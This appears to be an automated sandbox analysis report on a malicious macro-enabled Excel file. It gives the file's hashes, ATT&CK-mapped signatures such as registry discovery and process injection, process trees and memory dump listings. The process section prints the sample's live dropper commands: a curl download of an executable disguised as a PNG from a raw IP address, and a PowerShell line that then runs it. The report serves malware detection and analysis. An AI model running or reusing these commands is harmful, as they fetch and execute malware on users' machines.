10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446

General

Target

10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm
Size

85KB
MD5

15e98764d969ee310fb1cdda85a26862
SHA1

718382bbcf75fd62c07ad276ff0201c62f9da1f6
SHA256

10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446
SHA512

8b5879e67765a65c87e6137d43289c848cb279cd6cc36b732f265aabca463ff3efe50c2e8ac86e52e627e59c04908b31f4aa5b44df8f619cccdca2a3ffe43a85

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1292	1892	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1200	1892	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1892 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1292 powershell.exe
1292 powershell.exe
1292 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1292 powershell.exe

pid	process
1292	powershell.exe
1292	powershell.exe
1292	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1292	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE
1892	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1892 wrote to memory of 1292	1892	EXCEL.EXE	powershell.exe
PID 1892 wrote to memory of 1292	1892	EXCEL.EXE	powershell.exe
PID 1892 wrote to memory of 1200	1892	EXCEL.EXE	cmd.exe
PID 1892 wrote to memory of 1200	1892	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\mYKCY.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1292

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\mYKCY.exe
2⤵
- Process spawned unexpected child process
PID:1200

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1200-256-0x0000000000000000-mapping.dmp

Download
memory/1292-253-0x0000000000000000-mapping.dmp

Download
memory/1292-285-0x00000186828B6000-0x00000186828B8000-memory.dmp

Filesize
8KB

Download
memory/1292-277-0x00000186828B3000-0x00000186828B5000-memory.dmp

Filesize
8KB

Download
memory/1292-276-0x00000186828B0000-0x00000186828B2000-memory.dmp

Filesize
8KB

Download
memory/1292-271-0x000001869AEA0000-0x000001869AEA1000-memory.dmp

Filesize
4KB

Download
memory/1292-268-0x000001869AB70000-0x000001869AB71000-memory.dmp

Filesize
4KB

Download
memory/1892-117-0x00007FF8CDBE0000-0x00007FF8CDBF0000-memory.dmp

Filesize
64KB

Download
memory/1892-123-0x000001EB66E80000-0x000001EB68D75000-memory.dmp

Filesize
31.0MB

Download
memory/1892-122-0x00007FF8EE6A0000-0x00007FF8EF78E000-memory.dmp

Filesize
16.9MB

Download
memory/1892-121-0x00007FF8CDBE0000-0x00007FF8CDBF0000-memory.dmp

Filesize
64KB

Download
memory/1892-118-0x00007FF8CDBE0000-0x00007FF8CDBF0000-memory.dmp

Filesize
64KB

Download
memory/1892-114-0x00007FF7FC300000-0x00007FF7FF8B6000-memory.dmp

Filesize
53.7MB

Download
memory/1892-116-0x00007FF8CDBE0000-0x00007FF8CDBF0000-memory.dmp

Filesize
64KB

Download
memory/1892-115-0x00007FF8CDBE0000-0x00007FF8CDBF0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads